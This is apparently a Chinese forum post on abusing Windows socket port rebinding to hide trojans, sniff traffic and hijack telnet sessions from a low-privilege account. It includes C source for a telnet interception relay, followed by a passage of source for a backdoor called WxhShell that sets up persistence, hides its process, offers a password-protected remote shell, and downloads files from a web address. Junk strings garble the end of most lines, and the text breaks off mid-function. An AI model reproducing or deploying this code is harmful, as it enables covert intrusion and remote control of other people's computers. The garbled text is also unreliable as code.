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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,l`4)@{G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HqNM31)  
g a|RW0  
  saddr.sin_family = AF_INET; 3YT>3f!\  
o C0K!{R*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [=*c8  
's]I:06A  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l H:Y8j  
gi!{y   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2mUq$kws  
SK f9 yS#  
  这意味着什么?意味着可以进行如下的攻击: ut z.  
=" Q5Z6W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lZoy(kdc  
\.h!'nfF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Xv ;} !z  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XnC`JO+7M  
2eErvfC[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0'u2xe  
?K, xxH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pvCn+y/U;  
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  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r.1/ * i  
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  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 h+EG) <  
dqwCyYC  
  #include ZL[~[  
  #include } LuPYCzpu  
  #include <=WSX{_D  
  #include    1F?`.~q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L=Cm0q 3 v  
  int main() A0{ !m  
  { Cv7FVl-I  
  WORD wVersionRequested; 0}:- t^P  
  DWORD ret; ;Zfglid  
  WSADATA wsaData; 57r?`'#*  
  BOOL val; bxX[$q  
  SOCKADDR_IN saddr; &w\E*$  
  SOCKADDR_IN scaddr; I2G4j/c=z  
  int err; ^8dd  
  SOCKET s; On%21L;JG  
  SOCKET sc; Hc.r/  
  int caddsize; pzcV[E1  
  HANDLE mt; L ;5R*)t  
  DWORD tid;   pw;  
  wVersionRequested = MAKEWORD( 2, 2 ); "fWAp*nI3t  
  err = WSAStartup( wVersionRequested, &wsaData ); `I*W}5  
  if ( err != 0 ) { /)I:C z/f  
  printf("error!WSAStartup failed!\n"); S[!sJ-rG  
  return -1; & h)G>Sqc  
  } /H 3u^  
  saddr.sin_family = AF_INET; |eS5~0<`  
   p H&Tb4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &t .9^;(  
Q1tZ]Q.6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?VC[%sjwn  
  saddr.sin_port = htons(23); G#{ Xd6L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ",wv*z)_>  
  { . ] =$((  
  printf("error!socket failed!\n"); s;oDwT1  
  return -1; i=b<Mz7|  
  } s9t`!  
  val = TRUE; AKW M7fI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 EC[2rROn\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2c?-_OCy;  
  { s7j#Yg  
  printf("error!setsockopt failed!\n"); aju!Aq54G  
  return -1; Rou$`<{H  
  } EOqvu=$6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T\;7'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6J/"1 _  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jP*5(*[&y  
DRS68^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r$3{1HXc  
  { O'tVZ!C#J  
  ret=GetLastError(); #i$/qk= N  
  printf("error!bind failed!\n"); R7~H}>uaF  
  return -1; z"4UObVs  
  } ~!o\uTVr  
  listen(s,2); ^kg[n908Nw  
  while(1) #H]cb#  
  { 32DT]{-N!  
  caddsize = sizeof(scaddr); CXC,@T  
  //接受连接请求 QcZ*dI7]:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7.hgne'<  
  if(sc!=INVALID_SOCKET) /?<tjK' "H  
  { *#ccz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =HJ)!(  
  if(mt==NULL) _T[=7cn  
  { th&?  
  printf("Thread Creat Failed!\n"); gFk~SJd  
  break; `-)!4oJ]  
  } l=(4o4um  
  } y+3< ] N  
  CloseHandle(mt); B8Ob~?  
  } }e}J6 [wP  
  closesocket(s); fiDwa ;,  
  WSACleanup(); g3B zi6$m  
  return 0; #vk-zx*v7=  
  }   H>8B$fi)$  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5xJyW`SWz  
  { #qL?;Zh0S  
  SOCKET ss = (SOCKET)lpParam; H|a9};pO\  
  SOCKET sc; 5|l&` fv`  
  unsigned char buf[4096]; 5DgfrX  
  SOCKADDR_IN saddr; |7@[+  
  long num; <b0;Nf   
  DWORD val; Az +}[t  
  DWORD ret; INca  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;6op|O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7^Y"K  
  saddr.sin_family = AF_INET; 3+6s}u)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,TrrqCw>  
  saddr.sin_port = htons(23); dP8b\H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $umh&z/  
  { WfbG }%&J  
  printf("error!socket failed!\n"); Y02 cX@K6  
  return -1; SKTf=rY  
  } 5<o8prt B  
  val = 100; j$l[OZ:#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /S29\^  
  { >Mml+4<5  
  ret = GetLastError(); fhx_v^< X  
  return -1; HKA7|z9{  
  } d\FBY&C7b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F:"CaDk  
  { YE<_a;yh1  
  ret = GetLastError(); V!!E)I  
  return -1; J }?F4  
  } $N$ ZJC6(@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) I@ dS/  
  { nic7RN?F<  
  printf("error!socket connect failed!\n"); ka_]s:>+  
  closesocket(sc); gXtyl]K:  
  closesocket(ss); Q+e|;Mj  
  return -1; fIOI  
  } -phwzR\(t  
  while(1) J!?hajw7N  
  { x1['+!01  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ByR%2_6&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 20[_eu)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :S Tj <  
  num = recv(ss,buf,4096,0); B+:'Ld](  
  if(num>0) 1EvAV,v"  
  send(sc,buf,num,0); V=!tZ[4z$h  
  else if(num==0) 6?-vj2,  
  break; Kyy CS>  
  num = recv(sc,buf,4096,0); " S6'<~s  
  if(num>0) o!TG8aeb  
  send(ss,buf,num,0); n W2[x;  
  else if(num==0) u<`CkYT  
  break; ?C#=Q6  
  } Q v/}WnBk  
  closesocket(ss); 8 VMe#41  
  closesocket(sc); C3|(XChqC  
  return 0 ; ;>?NH6B,  
  } ;m/%g{oV  
#R&D gt  
Hm=!;xAFX  
========================================================== N}0-L$@SL  
V:?exJg9  
下边附上一个代码,,WXhSHELL s;-(dQ{O  
`TNW LD@Z  
========================================================== Y{P0?`  
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#include "stdafx.h" %{$iN|%J%$  
P$E#C:=  
#include <stdio.h> `Q d_Gu,M  
#include <string.h> a4gJ-FE  
#include <windows.h> %%["&  
#include <winsock2.h> KCR6@{@  
#include <winsvc.h> <dxc"A  
#include <urlmon.h> Ps3wg=ni[  
<ptZY.8N  
#pragma comment (lib, "Ws2_32.lib") 7TCY$RcF,I  
#pragma comment (lib, "urlmon.lib") T_}9b  
t!MGSB~  
#define MAX_USER   100 // 最大客户端连接数 H+&c=~D\_  
#define BUF_SOCK   200 // sock buffer {(r`&[  
#define KEY_BUFF   255 // 输入 buffer w i,}sEoM  
yyZV/ x~  
#define REBOOT     0   // 重启 BM+v,hGY  
#define SHUTDOWN   1   // 关机 PPiN`GM  
}EB/18  
#define DEF_PORT   5000 // 监听端口 sqkk 4w1#C  
uveby:dh  
#define REG_LEN     16   // 注册表键长度 U_ j\UQC  
#define SVC_LEN     80   // NT服务名长度 Hk'D@(h S  
p<#WueR[  
// 从dll定义API 5 rpX"(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); feOX]g#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qx3@]9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @ i $jyc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;eYm+e^?.  
@.Pd3CB0  
// wxhshell配置信息 KiN8N=z  
struct WSCFG { i v7^ !  
  int ws_port;         // 监听端口 ay}} v7)GM  
  char ws_passstr[REG_LEN]; // 口令 >BU"C+a8g  
  int ws_autoins;       // 安装标记, 1=yes 0=no p8CDFLuV  
  char ws_regname[REG_LEN]; // 注册表键名 dTN[E6#R  
  char ws_svcname[REG_LEN]; // 服务名 H$2<N@'4z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8]U;2H/z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jqULg iC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `w@8i[2J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &)4#0L4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E! '|FJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p^u;]~J O  
&rY73qfP'  
}; K.k%Tg[ ~  
9r,)Bw!RP  
// default Wxhshell configuration xVOoYr>O  
struct WSCFG wscfg={DEF_PORT, fUy:TCS  
    "xuhuanlingzhe", $n |)M+d  
    1, |X:"AH"S  
    "Wxhshell", r+6=b"  
    "Wxhshell", B%P g:|  
            "WxhShell Service", V^9c:!aI  
    "Wrsky Windows CmdShell Service", Z(F`M;1>xI  
    "Please Input Your Password: ", JHN{vB  
  1, b4o`eR  
  "http://www.wrsky.com/wxhshell.exe", Z_iVOctP  
  "Wxhshell.exe" 1D3{\v  
    }; g"pjWj)?  
pY75S5h:  
// 消息定义模块 Gt >*y.]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n#F:(MSOp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >K<n~;ON|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; luNEgCq  
char *msg_ws_ext="\n\rExit."; kzq3-NTV  
char *msg_ws_end="\n\rQuit."; mUFg(;ya  
char *msg_ws_boot="\n\rReboot..."; x+niY;Z E  
char *msg_ws_poff="\n\rShutdown..."; y7a84)j3  
char *msg_ws_down="\n\rSave to "; WvV!F?uqZ  
%Z T@&  
char *msg_ws_err="\n\rErr!"; 8_yhV{  
char *msg_ws_ok="\n\rOK!"; W dM?{; #  
v(5zSo  
char ExeFile[MAX_PATH]; ^! ?wh  
int nUser = 0; ma__LWKM,  
HANDLE handles[MAX_USER]; b#XY.+ *0  
int OsIsNt; WX@ a2c.'  
v?\Z4Z|f  
SERVICE_STATUS       serviceStatus; NJ 6* 7Cd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C t-^-XD  
g<ZB9;FX %  
// 函数声明 5,H,OZ}  
int Install(void); JL[xrK0  
int Uninstall(void); WS17DsWW  
int DownloadFile(char *sURL, SOCKET wsh); ei TG  
int Boot(int flag); $^[^ ]Q  
void HideProc(void); [FhFeW>  
int GetOsVer(void); b/>L}/^PM  
int Wxhshell(SOCKET wsl); ){~]-VK  
void TalkWithClient(void *cs); %d3KE|&u  
int CmdShell(SOCKET sock); /XfE6SBz  
int StartFromService(void); 1?6zsA%N  
int StartWxhshell(LPSTR lpCmdLine); {,kA'Px)  
^5{M@o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =t,}I\_^c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B4 XN  
?H7YmN  
// 数据结构和表定义 G)|s(C!  
SERVICE_TABLE_ENTRY DispatchTable[] = ?<3wks|C  
{ ) ?L  
{wscfg.ws_svcname, NTServiceMain}, 9d5|rk8VS  
{NULL, NULL} ;gE]*Y.Z.p  
}; #* KmPc+  
0+H4sz%.  
// 自我安装 2D`_!OG=  
int Install(void) )HaW# ,XB  
{ ]Ak/:pu  
  char svExeFile[MAX_PATH]; Zt3Y<3o  
  HKEY key; }iOFB&)w  
  strcpy(svExeFile,ExeFile); ;:)1:Dy5  
Y/|wOm;|  
// 如果是win9x系统,修改注册表设为自启动 iL vzoQ  
if(!OsIsNt) { (fSpY\JPI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -UTTJnu^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 86_`Z$ s  
  RegCloseKey(key); C71\9K*X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  9hbn<Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a,>`ab%>  
  RegCloseKey(key); -Y?C1DbKz  
  return 0; },tN{()  
    } HutwgPvy  
  } Imv ]V6"D=  
} J%|n^^ /un  
else { gk-g!v&  
e<.O'!=7Y  
// 如果是NT以上系统,安装为系统服务 f_{O U E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vC j, aSW  
if (schSCManager!=0) &@dMIJK"(  
{ \DDR l{  
  SC_HANDLE schService = CreateService p|q}z/  
  ( dE ,NG)MH  
  schSCManager, VZ o,AP~  
  wscfg.ws_svcname, ?WD JWp%  
  wscfg.ws_svcdisp, =r?#,'a  
  SERVICE_ALL_ACCESS, cq?&edjP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p  K=  
  SERVICE_AUTO_START, ggP#2I\  
  SERVICE_ERROR_NORMAL, T?!D?YV  
  svExeFile, e7# B?  
  NULL, [H-r0Ah  
  NULL, 1I^uq>r  
  NULL, bOvMXj/HV=  
  NULL, +?&|p0  
  NULL pz uR H1[  
  ); ,.Sd)JB'  
  if (schService!=0) :\Pk>a  
  { nKR=/5a4Y  
  CloseServiceHandle(schService); 6/4?x)l3-  
  CloseServiceHandle(schSCManager); y?r:`n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v c r5  
  strcat(svExeFile,wscfg.ws_svcname); h3udS{9 '8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \os iY ^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XFS"~{  
  RegCloseKey(key); <E&[sQ|3  
  return 0; ~WKcO&  
    } (hb\1 wZ  
  } D on8xk  
  CloseServiceHandle(schSCManager); >sfH[b  
} zfexaf!  
} AhNy+p{  
C=y[WsT  
return 1; X~#jx(0_  
} C{5^UCJkg  
|1rKGDc  
// 自我卸载 q%rfKHMA50  
int Uninstall(void) XH"-sZt  
{ M8,_E\*  
  HKEY key; 0r|mg::'  
Da@H^  
if(!OsIsNt) { "&Y5Nh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :t'*fHi~  
  RegDeleteValue(key,wscfg.ws_regname); 4ne95_i  
  RegCloseKey(key); l&2}/A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  n}f*>Mn  
  RegDeleteValue(key,wscfg.ws_regname); Z2.S:y.  
  RegCloseKey(key); q ad`muAd  
  return 0; ruf*-&Kr7  
  } 3%J7_e'  
} Gl@-RLo  
} a YC[15?'  
else { wv6rjg:7  
CSBk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); < gtqwH]   
if (schSCManager!=0) G\I DgPj`  
{ s/" l ?d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); / }tMb  
  if (schService!=0) ?F!='6D}b  
  { ?)2&LVrf  
  if(DeleteService(schService)!=0) { D{Rk9MKkE  
  CloseServiceHandle(schService); *pOdM0AE  
  CloseServiceHandle(schSCManager); .=u8`,sO  
  return 0; sC^9  
  } kpQXnDm 2  
  CloseServiceHandle(schService); !K0:0:  
  } A=+ |&+? t  
  CloseServiceHandle(schSCManager); ry Kc7<  
} a-9Y &#U  
}  > h>  
1638U 1  
return 1; <"SOH; w  
} /2&:sHWW  
chQCl3&e^  
// 从指定url下载文件 )q>mt/,  
int DownloadFile(char *sURL, SOCKET wsh) [!Jd.zm  
{ F(5(cr 7K  
  HRESULT hr; TSPFi0PP  
char seps[]= "/"; $v#\bqY  
char *token; VEtdp*ot  
char *file; MD 62ObK!  
char myURL[MAX_PATH]; = ;!$Qw4  
char myFILE[MAX_PATH]; |oL}c!0vs  
.8I\=+Zi  
strcpy(myURL,sURL); EU0b>2n4  
  token=strtok(myURL,seps); FkS$x'~2$  
  while(token!=NULL) >3J?O96|f  
  { 7/:C[J4GTN  
    file=token; GmJ4AYEP  
  token=strtok(NULL,seps); $!Pm*s  
  } Z}E.s@w  
.dM|J'`g  
GetCurrentDirectory(MAX_PATH,myFILE); ._$tNGI4  
strcat(myFILE, "\\"); W ^MF3  
strcat(myFILE, file); |;[%ZE"  
  send(wsh,myFILE,strlen(myFILE),0); 5VXI/Lw#  
send(wsh,"...",3,0); 2VY.#9vl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m&36$>r=  
  if(hr==S_OK) B,f4<  
return 0; ~Ip-@c}'j  
else OZ'=Xtbn  
return 1; o(w xu)  
ap7ZT7KW  
} a'U}.w}  
T/b%,!N)  
// 系统电源模块 )T_o!/\*|*  
int Boot(int flag) Jh)x_&R&Q  
{ e=yQFzQT)  
  HANDLE hToken; 82z\^a  
  TOKEN_PRIVILEGES tkp; &/}reE*  
p}r1@L s  
  if(OsIsNt) { R}S@u@mOE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M zWVsV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7v8V0Gp  
    tkp.PrivilegeCount = 1; ?df*Y5I2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @'Y^A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s_j ?L  
if(flag==REBOOT) { m,TN%*U!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5R?[My  
  return 0; @Ft\~ +}  
} Ac'0  
else { e{*-_j "I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =gYKAr^p5  
  return 0; 1F*3K3T {  
} "; PW#VHC  
  } .*3.47O  
  else { Bj-80d,  
if(flag==REBOOT) { lO=Nw+'$S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `ecIy_O3P&  
  return 0; 2D"n#O`y  
} )e1&[0  
else { a fOix"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :nYnTo`  
  return 0; 4~bbng  
} |lnMT)^D  
} pel{ ;r  
>Fzs%]M  
return 1; C }= *%S  
} )Td;2  
ecZT|X4u  
// win9x进程隐藏模块 HoTg7/iK  
void HideProc(void) ? _>L<Y  
{ YoT< ]'  
VN5UJ!$?J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p,)~w1|  
  if ( hKernel != NULL ) D;@nrj`.  
  { ~eVq Fc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ui^~A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zn=Ifz)#|  
    FreeLibrary(hKernel); YEg(QOn3Q  
  } 19r4J(pV  
vzr?#FG  
return; Vg>\@ C .s  
} #%=6DHsK  
&"h 9Awn2  
// 获取操作系统版本 Q"@x,8xW  
int GetOsVer(void) tz).]E D  
{ 8c6dTT4  
  OSVERSIONINFO winfo; qir/Sa' [  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4IT`8n~  
  GetVersionEx(&winfo); OrZ=-9"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0G=bu5  
  return 1; uaX#nn?ws  
  else 7;w x,7CUq  
  return 0; OIqisQ7ZB  
} CXe2G5  
C`++r>  
// 客户端句柄模块 ['*{f(AI  
int Wxhshell(SOCKET wsl) I"4Lma  
{ f4h|Nn%;  
  SOCKET wsh; 2NNAsr}L  
  struct sockaddr_in client; 24}?GO  
  DWORD myID; p H5iv>H  
|3a1hCxt  
  while(nUser<MAX_USER) Dm")\"5\?  
{ _N-.=86*  
  int nSize=sizeof(client); &{x%"Aq/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T[z}^"  
  if(wsh==INVALID_SOCKET) return 1; g?}$"=B   
"L(4 EcO@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /F(wb_!  
if(handles[nUser]==0) vLc7RL  
  closesocket(wsh); X:un4B}O  
else `ZC{<eVJ}=  
  nUser++; kPt] [1jo  
  } y,i ~w |4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5 aT>8@$Z^  
5*q!:$ W  
  return 0; _>6xU t  
} ,D6hJ_:  
Ez= Q{g  
// 关闭 socket e13{G @  
void CloseIt(SOCKET wsh) %y{f] m  
{ ':mw(`  
closesocket(wsh); /9K,W)h_  
nUser--; AB.gVw| 4  
ExitThread(0);  /z0X  
} L,m'/}$  
:3uCW1  
// 客户端请求句柄 hJkSk;^  
void TalkWithClient(void *cs) &EELq"5K  
{ "5 /i  
iq25|{1$  
  SOCKET wsh=(SOCKET)cs; pq3W.7z;b  
  char pwd[SVC_LEN]; THQd`Lj  
  char cmd[KEY_BUFF]; ({R-JkW: ;  
char chr[1]; l[MP|m#  
int i,j; $s*nh>@7  
$,/;QP}  
  while (nUser < MAX_USER) { QM"\;l??  
d~G, *  
if(wscfg.ws_passstr) { D.Q9fa&P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !vaS fL*]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p}b:(QN~m  
  //ZeroMemory(pwd,KEY_BUFF); c Nhy.Z~D  
      i=0; P ,%IZ.  
  while(i<SVC_LEN) { \o&\r)FX  
c7E|GZ2Hc  
  // 设置超时 z ?3G`  
  fd_set FdRead; P  -O& X  
  struct timeval TimeOut; Y]u6f c  
  FD_ZERO(&FdRead); TL29{'4V  
  FD_SET(wsh,&FdRead); sQ)D.9\~  
  TimeOut.tv_sec=8; 8RA]h?$$J  
  TimeOut.tv_usec=0; H}Jdnu|ko  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &gP/<!#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _RTJEG  
yFD3:;}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3U_-sMOB|  
  pwd=chr[0]; ,n}h_ct  
  if(chr[0]==0xd || chr[0]==0xa) { >q}Ns^ .'  
  pwd=0; d4 Hpe>  
  break; Wk0"U V  
  } rx$B(z(c  
  i++; +b9gP\Hke  
    } /M0A9ZT[  
 -L.U4x  
  // 如果是非法用户,关闭 socket ![>j`i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $$,/F  
} ~36)3W[4  
K;,_P5J%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'e/= !"T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "vH>xBR[%  
tK|jh  
while(1) { oHW:s96e  
FLb Q#c\  
  ZeroMemory(cmd,KEY_BUFF); ~]d3 f  
||}k99y +  
      // 自动支持客户端 telnet标准   3pV^Oe^9  
  j=0; A;06Zrf1  
  while(j<KEY_BUFF) { 2 SJ N;A~}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c,v?2*<  
  cmd[j]=chr[0]; !xIK<H{*  
  if(chr[0]==0xa || chr[0]==0xd) { J&B>"s,  
  cmd[j]=0; cC NyW2'  
  break; k3 YDnMRA9  
  } <\9M+  
  j++; T[?toqkD>z  
    } z;V Ai=m q  
<{z*6FM!'  
  // 下载文件 AjW5H*  
  if(strstr(cmd,"http://")) { y<h~jz#hkq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hHu?%f*  
  if(DownloadFile(cmd,wsh)) }#b[@3/T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oB$P6   
  else 4@Q`8N.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "B$r{ vG  
  } =vpXYj  
  else { d'x'hp%  
]"*sp  
    switch(cmd[0]) { (>LJv |wn  
  oZ /z{`  
  // 帮助 /^2&@P7  
  case '?': { lCX*Q{s22  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )zKZ<;#y  
    break; 4P>4d +  
  } )Rlh[Y& r  
  // 安装 1 m>x5Dbk!  
  case 'i': { 68!W~%?pR  
    if(Install()) #},4m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kT=KxS{  
    else 1 luRTI8^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?}n\&|+  
    break; 19g-#H!  
    } A~!v+W%vO1  
  // 卸载 %VSjMZ  
  case 'r': { q[wVC h  
    if(Uninstall()) ri]"a?Rm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b: c$EPK  
    else _wY <8 F*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >k)zd-  
    break; fx"~WeVcO  
    } kw M1f=!-  
  // 显示 wxhshell 所在路径 W/\M9  
  case 'p': { Jn+k$'6 %#  
    char svExeFile[MAX_PATH]; -J`VXG:M  
    strcpy(svExeFile,"\n\r");  t=6[FK  
      strcat(svExeFile,ExeFile); KkCA*GS  
        send(wsh,svExeFile,strlen(svExeFile),0); T2%{pcdV/  
    break; fbjT"jSzw  
    } $#HPwmd  
  // 重启 N!TC}#}l  
  case 'b': { gQ0W>\xz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,P T5-9 m  
    if(Boot(REBOOT)) l>J>?b=x"[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q|CLis-  
    else { : U Yn  
    closesocket(wsh); *%(BE*C}  
    ExitThread(0); zYz0R:@n+  
    } 0C,2gcq  
    break; M?nYplC  
    } ,~TV/l<  
  // 关机 3lw8%QD>  
  case 'd': { `El)uTnuZ[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T+q3]&  
    if(Boot(SHUTDOWN)) ^p2_p9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i:@n6GW+iw  
